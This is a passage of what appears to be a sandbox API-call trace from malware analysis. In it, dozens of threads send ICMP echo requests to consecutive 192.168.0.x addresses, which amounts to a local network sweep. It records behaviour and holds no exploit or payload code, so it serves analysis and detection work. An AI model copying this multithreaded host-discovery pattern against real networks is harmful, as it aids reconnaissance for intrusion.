	[0218.399] IcmpSendEcho (in: IcmpHandle=0x389f70, DestinationAddress=0x1b00a8c0, RequestData=0xa60fae0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xa60fb00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xa60fb00) returned 0x1
	[0233.420] IcmpCloseHandle (IcmpHandle=0x389f70) returned 1
	[0233.421] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x388540 | out: hHeap=0x330000) returned 1

Thread:
	id = 2114
	os_tid = 0x26e4

	[0212.600] GetLastError () returned 0x57
	[0212.600] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x388910
	[0212.601] SetLastError (dwErrCode=0x57) 
	[0212.601] IcmpCreateFile () returned 0x389fc0
	[0218.401] IcmpSendEcho (in: IcmpHandle=0x389fc0, DestinationAddress=0x1c00a8c0, RequestData=0xa78fec0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xa78fee0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xa78fee0) returned 0x1
	[0233.412] IcmpCloseHandle (IcmpHandle=0x389fc0) returned 1
	[0233.412] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x388910 | out: hHeap=0x330000) returned 1

Thread:
	id = 2115
	os_tid = 0x26e8

	[0212.602] GetLastError () returned 0x57
	[0212.602] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x388ce0
	[0212.603] SetLastError (dwErrCode=0x57) 
	[0212.603] IcmpCreateFile () returned 0x38a010
	[0218.402] IcmpSendEcho (in: IcmpHandle=0x38a010, DestinationAddress=0x1d00a8c0, RequestData=0xa8cfb60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xa8cfb80, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xa8cfb80) returned 0x1
	[0233.402] IcmpCloseHandle (IcmpHandle=0x38a010) returned 1
	[0233.403] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x388ce0 | out: hHeap=0x330000) returned 1

Thread:
	id = 2116
	os_tid = 0x26ec

	[0212.603] GetLastError () returned 0x57
	[0212.604] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3890b0
	[0212.604] SetLastError (dwErrCode=0x57) 
	[0212.604] IcmpCreateFile () returned 0x38a060
	[0218.404] IcmpSendEcho (in: IcmpHandle=0x38a060, DestinationAddress=0x1e00a8c0, RequestData=0xab2f880, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xab2f8a0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xab2f8a0) returned 0x1
	[0233.393] IcmpCloseHandle (IcmpHandle=0x38a060) returned 1
	[0233.394] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3890b0 | out: hHeap=0x330000) returned 1

Thread:
	id = 2117
	os_tid = 0x26f0

	[0212.605] GetLastError () returned 0x57
	[0212.605] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x389480
	[0212.605] SetLastError (dwErrCode=0x57) 
	[0212.605] IcmpCreateFile () returned 0x38a0b0
	[0218.406] IcmpSendEcho (in: IcmpHandle=0x38a0b0, DestinationAddress=0x1f00a8c0, RequestData=0xaa0f880, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xaa0f8a0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xaa0f8a0) returned 0x1
	[0233.374] IcmpCloseHandle (IcmpHandle=0x38a0b0) returned 1
	[0233.375] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x389480 | out: hHeap=0x330000) returned 1

Thread:
	id = 2118
	os_tid = 0x26f4

	[0212.606] GetLastError () returned 0x57
	[0212.606] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x389850
	[0212.606] SetLastError (dwErrCode=0x57) 
	[0212.606] IcmpCreateFile () returned 0x38a100
	[0218.408] IcmpSendEcho (in: IcmpHandle=0x38a100, DestinationAddress=0x2000a8c0, RequestData=0xac6f700, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xac6f720, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xac6f720) returned 0x1
	[0233.366] IcmpCloseHandle (IcmpHandle=0x38a100) returned 1
	[0233.366] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x389850 | out: hHeap=0x330000) returned 1

Thread:
	id = 2119
	os_tid = 0x26f8

	[0212.608] GetLastError () returned 0x57
	[0212.608] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x392f20
	[0212.610] SetLastError (dwErrCode=0x57) 
	[0212.610] IcmpCreateFile () returned 0x38a150
	[0218.409] IcmpSendEcho (in: IcmpHandle=0x38a150, DestinationAddress=0x2100a8c0, RequestData=0xae0fce0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xae0fd00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xae0fd00) returned 0x1
	[0233.357] IcmpCloseHandle (IcmpHandle=0x38a150) returned 1
	[0233.357] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x392f20 | out: hHeap=0x330000) returned 1

Thread:
	id = 2120
	os_tid = 0x26fc

	[0212.610] GetLastError () returned 0x57
	[0212.610] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3932f0
	[0212.611] SetLastError (dwErrCode=0x57) 
	[0212.611] IcmpCreateFile () returned 0x38a1a0
	[0218.414] IcmpSendEcho (in: IcmpHandle=0x38a1a0, DestinationAddress=0x2200a8c0, RequestData=0xb0cf7c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xb0cf7e0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xb0cf7e0) returned 0x1
	[0233.349] IcmpCloseHandle (IcmpHandle=0x38a1a0) returned 1
	[0233.349] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3932f0 | out: hHeap=0x330000) returned 1

Thread:
	id = 2121
	os_tid = 0x2700

	[0212.611] GetLastError () returned 0x57
	[0212.612] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3936c0
	[0212.612] SetLastError (dwErrCode=0x57) 
	[0212.612] IcmpCreateFile () returned 0x38a1f0
	[0218.418] IcmpSendEcho (in: IcmpHandle=0x38a1f0, DestinationAddress=0x2300a8c0, RequestData=0xb2df9c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xb2df9e0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xb2df9e0) returned 0x1
	[0233.340] IcmpCloseHandle (IcmpHandle=0x38a1f0) returned 1
	[0233.341] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3936c0 | out: hHeap=0x330000) returned 1

Thread:
	id = 2122
	os_tid = 0x2704

	[0212.613] GetLastError () returned 0x57
	[0212.613] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x393a90
	[0212.613] SetLastError (dwErrCode=0x57) 
	[0212.613] IcmpCreateFile () returned 0x38a240
	[0218.420] IcmpSendEcho (in: IcmpHandle=0x38a240, DestinationAddress=0x2400a8c0, RequestData=0xaf4fc00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xaf4fc20, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xaf4fc20) returned 0x1
	[0233.332] IcmpCloseHandle (IcmpHandle=0x38a240) returned 1
	[0233.332] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x393a90 | out: hHeap=0x330000) returned 1

Thread:
	id = 2123
	os_tid = 0x2708

	[0212.615] GetLastError () returned 0x57
	[0212.615] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x393e60
	[0212.615] SetLastError (dwErrCode=0x57) 
	[0212.615] IcmpCreateFile () returned 0x38a290
	[0218.421] IcmpSendEcho (in: IcmpHandle=0x38a290, DestinationAddress=0x2500a8c0, RequestData=0xb41f820, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xb41f840, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xb41f840) returned 0x1
	[0233.322] IcmpCloseHandle (IcmpHandle=0x38a290) returned 1
	[0233.323] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x393e60 | out: hHeap=0x330000) returned 1

Thread:
	id = 2124
	os_tid = 0x270c

	[0212.616] GetLastError () returned 0x57
	[0212.616] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x394230
	[0212.616] SetLastError (dwErrCode=0x57) 
	[0212.616] IcmpCreateFile () returned 0x38a2e0
	[0218.423] IcmpSendEcho (in: IcmpHandle=0x38a2e0, DestinationAddress=0x2600a8c0, RequestData=0xb69f9e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xb69fa00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xb69fa00) returned 0x1
	[0233.314] IcmpCloseHandle (IcmpHandle=0x38a2e0) returned 1
	[0233.314] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x394230 | out: hHeap=0x330000) returned 1

Thread:
	id = 2125
	os_tid = 0x2710

	[0212.617] GetLastError () returned 0x57
	[0212.617] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x394600
	[0212.617] SetLastError (dwErrCode=0x57) 
	[0212.617] IcmpCreateFile () returned 0x38a330
	[0218.425] IcmpSendEcho (in: IcmpHandle=0x38a330, DestinationAddress=0x2700a8c0, RequestData=0xb8cfc80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xb8cfca0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xb8cfca0) returned 0x1
	[0233.304] IcmpCloseHandle (IcmpHandle=0x38a330) returned 1
	[0233.305] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x394600 | out: hHeap=0x330000) returned 1

Thread:
	id = 2126
	os_tid = 0x2714

	[0213.021] GetLastError () returned 0x57
	[0213.022] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3949d0
	[0213.022] SetLastError (dwErrCode=0x57) 
	[0213.022] IcmpCreateFile () returned 0x38a380
	[0218.426] IcmpSendEcho (in: IcmpHandle=0x38a380, DestinationAddress=0x2800a8c0, RequestData=0xbabfb60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xbabfb80, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xbabfb80) returned 0x1
	[0233.295] IcmpCloseHandle (IcmpHandle=0x38a380) returned 1
	[0233.296] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3949d0 | out: hHeap=0x330000) returned 1

Thread:
	id = 2145
	os_tid = 0x2760

	[0213.023] GetLastError () returned 0x57
	[0213.023] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x394da0
	[0213.023] SetLastError (dwErrCode=0x57) 
	[0213.023] IcmpCreateFile () returned 0x38a3d0
	[0218.428] IcmpSendEcho (in: IcmpHandle=0x38a3d0, DestinationAddress=0x2900a8c0, RequestData=0xbbef900, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xbbef920, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xbbef920) returned 0x1
	[0233.287] IcmpCloseHandle (IcmpHandle=0x38a3d0) returned 1
	[0233.287] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x394da0 | out: hHeap=0x330000) returned 1

Thread:
	id = 2146
	os_tid = 0x2764

	[0213.024] GetLastError () returned 0x57
	[0213.024] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x395170
	[0213.024] SetLastError (dwErrCode=0x57) 
	[0213.024] IcmpCreateFile () returned 0x38a420
	[0218.430] IcmpSendEcho (in: IcmpHandle=0x38a420, DestinationAddress=0x2a00a8c0, RequestData=0xb57f900, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xb57f920, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xb57f920) returned 0x1
	[0233.277] IcmpCloseHandle (IcmpHandle=0x38a420) returned 1
	[0233.278] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x395170 | out: hHeap=0x330000) returned 1

Thread:
	id = 2147
	os_tid = 0x2768

	[0213.025] GetLastError () returned 0x57
	[0213.025] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x395540
	[0213.026] SetLastError (dwErrCode=0x57) 
	[0213.026] IcmpCreateFile () returned 0x38a470
	[0218.431] IcmpSendEcho (in: IcmpHandle=0x38a470, DestinationAddress=0x2b00a8c0, RequestData=0xb7bfe80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xb7bfea0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xb7bfea0) returned 0x1
	[0233.269] IcmpCloseHandle (IcmpHandle=0x38a470) returned 1
	[0233.269] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x395540 | out: hHeap=0x330000) returned 1

Thread:
	id = 2148
	os_tid = 0x276c

	[0213.026] GetLastError () returned 0x57
	[0213.026] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x395910
	[0213.027] SetLastError (dwErrCode=0x57) 
	[0213.027] IcmpCreateFile () returned 0x38a4c0
	[0218.433] IcmpSendEcho (in: IcmpHandle=0x38a4c0, DestinationAddress=0x2c00a8c0, RequestData=0xb1cfb40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xb1cfb60, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xb1cfb60) returned 0x1
	[0233.259] IcmpCloseHandle (IcmpHandle=0x38a4c0) returned 1
	[0233.259] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x395910 | out: hHeap=0x330000) returned 1

Thread:
	id = 2149
	os_tid = 0x2770

	[0213.027] GetLastError () returned 0x57
	[0213.028] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x395ce0
	[0213.028] SetLastError (dwErrCode=0x57) 
	[0213.028] IcmpCreateFile () returned 0x38a510
	[0218.435] IcmpSendEcho (in: IcmpHandle=0x38a510, DestinationAddress=0x2d00a8c0, RequestData=0xbdef920, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xbdef940, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xbdef940) returned 0x1
	[0233.250] IcmpCloseHandle (IcmpHandle=0x38a510) returned 1
	[0233.250] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x395ce0 | out: hHeap=0x330000) returned 1

Thread:
	id = 2150
	os_tid = 0x2774

	[0213.029] GetLastError () returned 0x57
	[0213.029] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3960b0
	[0213.029] SetLastError (dwErrCode=0x57) 
	[0213.029] IcmpCreateFile () returned 0x38a560
	[0218.438] IcmpSendEcho (in: IcmpHandle=0x38a560, DestinationAddress=0x2e00a8c0, RequestData=0xbfdfdc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xbfdfde0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xbfdfde0) returned 0x1
	[0233.241] IcmpCloseHandle (IcmpHandle=0x38a560) returned 1
	[0233.241] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3960b0 | out: hHeap=0x330000) returned 1

Thread:
	id = 2151
	os_tid = 0x2778

	[0213.030] GetLastError () returned 0x57
	[0213.030] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x396480
	[0213.030] SetLastError (dwErrCode=0x57) 
	[0213.030] IcmpCreateFile () returned 0x38a5b0
	[0218.440] IcmpSendEcho (in: IcmpHandle=0x38a5b0, DestinationAddress=0x2f00a8c0, RequestData=0xc1afde0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xc1afe00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xc1afe00) returned 0x1
	[0233.231] IcmpCloseHandle (IcmpHandle=0x38a5b0) returned 1
	[0233.232] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x396480 | out: hHeap=0x330000) returned 1

Thread:
	id = 2152
	os_tid = 0x277c

	[0213.031] GetLastError () returned 0x57
	[0213.031] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x396850
	[0213.032] SetLastError (dwErrCode=0x57) 
	[0213.032] IcmpCreateFile () returned 0x38a600
	[0218.441] IcmpSendEcho (in: IcmpHandle=0x38a600, DestinationAddress=0x3000a8c0, RequestData=0xc33fea0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xc33fec0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xc33fec0) returned 0x1
	[0233.221] IcmpCloseHandle (IcmpHandle=0x38a600) returned 1
	[0233.222] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x396850 | out: hHeap=0x330000) returned 1

Thread:
	id = 2153
	os_tid = 0x2780

	[0213.032] GetLastError () returned 0x57
	[0213.032] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x398770
	[0213.034] SetLastError (dwErrCode=0x57) 
	[0213.034] IcmpCreateFile () returned 0x38a650
	[0218.443] IcmpSendEcho (in: IcmpHandle=0x38a650, DestinationAddress=0x3100a8c0, RequestData=0xc5cfe00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xc5cfe20, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xc5cfe20) returned 0x1
	[0233.212] IcmpCloseHandle (IcmpHandle=0x38a650) returned 1
	[0233.212] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x398770 | out: hHeap=0x330000) returned 1

Thread:
	id = 2154
	os_tid = 0x2784

	[0213.035] GetLastError () returned 0x57
	[0213.035] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x398b40
	[0213.036] SetLastError (dwErrCode=0x57) 
	[0213.036] IcmpCreateFile () returned 0x38a6a0
	[0218.445] IcmpSendEcho (in: IcmpHandle=0x38a6a0, DestinationAddress=0x3200a8c0, RequestData=0xc4afc80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xc4afca0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xc4afca0) returned 0x1
	[0232.761] IcmpCloseHandle (IcmpHandle=0x38a6a0) returned 1
	[0232.763] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x398b40 | out: hHeap=0x330000) returned 1

Thread:
	id = 2155
	os_tid = 0x2788

	[0213.036] GetLastError () returned 0x57
	[0213.036] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x398f10
	[0213.037] SetLastError (dwErrCode=0x57) 
	[0213.037] IcmpCreateFile () returned 0x38a6f0
	[0218.447] IcmpSendEcho (in: IcmpHandle=0x38a6f0, DestinationAddress=0x3300a8c0, RequestData=0xc81f8c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xc81f8e0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xc81f8e0) returned 0x1
	[0226.869] IcmpCloseHandle (IcmpHandle=0x38a6f0) returned 1
	[0226.870] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x398f10 | out: hHeap=0x330000) returned 1

Thread:
	id = 2156
	os_tid = 0x278c

	[0213.039] GetLastError () returned 0x57
	[0213.039] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3992e0
	[0213.040] SetLastError (dwErrCode=0x57) 
	[0213.040] IcmpCreateFile () returned 0x38a740
	[0218.448] IcmpSendEcho (in: IcmpHandle=0x38a740, DestinationAddress=0x3400a8c0, RequestData=0xc9cfd80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xc9cfda0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xc9cfda0) returned 0x1
	[0225.177] IcmpCloseHandle (IcmpHandle=0x38a740) returned 1
	[0225.177] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3992e0 | out: hHeap=0x330000) returned 1

Thread:
	id = 2157
	os_tid = 0x2790

	[0213.040] GetLastError () returned 0x57
	[0213.041] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3996b0
	[0213.041] SetLastError (dwErrCode=0x57) 
	[0213.041] IcmpCreateFile () returned 0x38a790
	[0218.450] IcmpSendEcho (in: IcmpHandle=0x38a790, DestinationAddress=0x3500a8c0, RequestData=0xcbdfdc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xcbdfde0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xcbdfde0) returned 0x1
	[0224.894] IcmpCloseHandle (IcmpHandle=0x38a790) returned 1
	[0224.894] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3996b0 | out: hHeap=0x330000) returned 1

Thread:
	id = 2158
	os_tid = 0x2794

	[0213.042] GetLastError () returned 0x57
	[0213.042] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x399a80
	[0213.042] SetLastError (dwErrCode=0x57) 
	[0213.042] IcmpCreateFile () returned 0x38a7e0
	[0218.452] IcmpSendEcho (in: IcmpHandle=0x38a7e0, DestinationAddress=0x3600a8c0, RequestData=0xcd4f780, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xcd4f7a0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xcd4f7a0) returned 0x1
	[0224.705] IcmpCloseHandle (IcmpHandle=0x38a7e0) returned 1
	[0224.705] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x399a80 | out: hHeap=0x330000) returned 1

Thread:
	id = 2159
	os_tid = 0x2798

	[0213.043] GetLastError () returned 0x57
	[0213.043] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x399e50
	[0213.043] SetLastError (dwErrCode=0x57) 
	[0213.043] IcmpCreateFile () returned 0x38a830
	[0218.453] IcmpSendEcho (in: IcmpHandle=0x38a830, DestinationAddress=0x3700a8c0, RequestData=0xcadf860, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xcadf880, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xcadf880) returned 0x1
	[0224.376] IcmpCloseHandle (IcmpHandle=0x38a830) returned 1
	[0224.377] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x399e50 | out: hHeap=0x330000) returned 1

Thread:
	id = 2160
	os_tid = 0x279c

	[0213.491] GetLastError () returned 0x57
	[0213.491] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x39a220
	[0213.491] SetLastError (dwErrCode=0x57) 
	[0213.491] IcmpCreateFile () returned 0x38a880
	[0218.455] IcmpSendEcho (in: IcmpHandle=0x38a880, DestinationAddress=0x3800a8c0, RequestData=0xc6ffc80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xc6ffca0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xc6ffca0) returned 0x1
	[0224.124] IcmpCloseHandle (IcmpHandle=0x38a880) returned 1
	[0224.125] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x39a220 | out: hHeap=0x330000) returned 1

Thread:
	id = 2161
	os_tid = 0x27a0


Thread:
	id = 2188
	os_tid = 0x27f8

	[0213.494] GetLastError () returned 0x57
	[0213.494] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x39a5f0
	[0213.494] SetLastError (dwErrCode=0x57) 
	[0213.494] IcmpCreateFile () returned 0x38a8d0
	[0218.457] IcmpSendEcho (in: IcmpHandle=0x38a8d0, DestinationAddress=0x3900a8c0, RequestData=0xce9fb60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xce9fb80, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xce9fb80) returned 0x1
	[0223.780] IcmpCloseHandle (IcmpHandle=0x38a8d0) returned 1
	[0223.780] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x39a5f0 | out: hHeap=0x330000) returned 1

Thread:
	id = 2189
	os_tid = 0x27fc

	[0213.495] GetLastError () returned 0x57
	[0213.495] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x39a9c0
	[0213.495] SetLastError (dwErrCode=0x57) 
	[0213.495] IcmpCreateFile () returned 0x38a920
	[0218.458] IcmpSendEcho (in: IcmpHandle=0x38a920, DestinationAddress=0x3a00a8c0, RequestData=0xd20fea0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xd20fec0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xd20fec0) returned 0x1
	[0223.479] IcmpCloseHandle (IcmpHandle=0x38a920) returned 1
	[0223.479] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x39a9c0 | out: hHeap=0x330000) returned 1

Thread:
	id = 2190
	os_tid = 0x1694

	[0213.496] GetLastError () returned 0x57
	[0213.496] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x39ad90
	[0213.497] SetLastError (dwErrCode=0x57) 
	[0213.497] IcmpCreateFile () returned 0x38a970
	[0218.460] IcmpSendEcho (in: IcmpHandle=0x38a970, DestinationAddress=0x3b00a8c0, RequestData=0xd0cf980, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xd0cf9a0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xd0cf9a0) returned 0x1
	[0223.107] IcmpCloseHandle (IcmpHandle=0x38a970) returned 1
	[0223.108] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x39ad90 | out: hHeap=0x330000) returned 1

Thread:
	id = 2191
	os_tid = 0x16ac

	[0213.497] GetLastError () returned 0x57
	[0213.497] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x39b160
	[0213.498] SetLastError (dwErrCode=0x57) 
	[0213.498] IcmpCreateFile () returned 0x38a9c0
	[0218.462] IcmpSendEcho (IcmpHandle=0x38a9c0, DestinationAddress=0x3c00a8c0, RequestData=0xbcefbc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xbcefbe0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2192
	os_tid = 0x514

	[0213.498] GetLastError () returned 0x57
	[0213.499] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x39b530
	[0213.499] SetLastError (dwErrCode=0x57) 
	[0213.499] IcmpCreateFile () returned 0x38aa10
	[0218.464] IcmpSendEcho (IcmpHandle=0x38aa10, DestinationAddress=0x3d00a8c0, RequestData=0xd4cfd20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xd4cfd40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2193
	os_tid = 0x1d04

	[0213.500] GetLastError () returned 0x57
	[0213.500] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x39b900
	[0213.500] SetLastError (dwErrCode=0x57) 
	[0213.500] IcmpCreateFile () returned 0x38aa60
	[0218.465] IcmpSendEcho (IcmpHandle=0x38aa60, DestinationAddress=0x3e00a8c0, RequestData=0xd6dfb40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xd6dfb60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2194
	os_tid = 0x211c

	[0213.501] GetLastError () returned 0x57
	[0213.501] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x39bcd0
	[0213.502] SetLastError (dwErrCode=0x57) 
	[0213.502] IcmpCreateFile () returned 0x38aab0
	[0218.467] IcmpSendEcho (IcmpHandle=0x38aab0, DestinationAddress=0x3f00a8c0, RequestData=0xd36fa40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xd36fa60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2195
	os_tid = 0x1d0c

	[0213.502] GetLastError () returned 0x57
	[0213.502] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x39c0a0
	[0213.503] SetLastError (dwErrCode=0x57) 
	[0213.503] IcmpCreateFile () returned 0x38ab00
	[0218.469] IcmpSendEcho (IcmpHandle=0x38ab00, DestinationAddress=0x4000a8c0, RequestData=0xd99fb00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xd99fb20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2196
	os_tid = 0x1ccc

	[0213.503] GetLastError () returned 0x57
	[0213.503] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3a6770
	[0213.506] SetLastError (dwErrCode=0x57) 
	[0213.506] IcmpCreateFile () returned 0x38ab50
	[0218.470] IcmpSendEcho (IcmpHandle=0x38ab50, DestinationAddress=0x4100a8c0, RequestData=0xdb0fe40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xdb0fe60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2197
	os_tid = 0x1d38

	[0213.507] GetLastError () returned 0x57
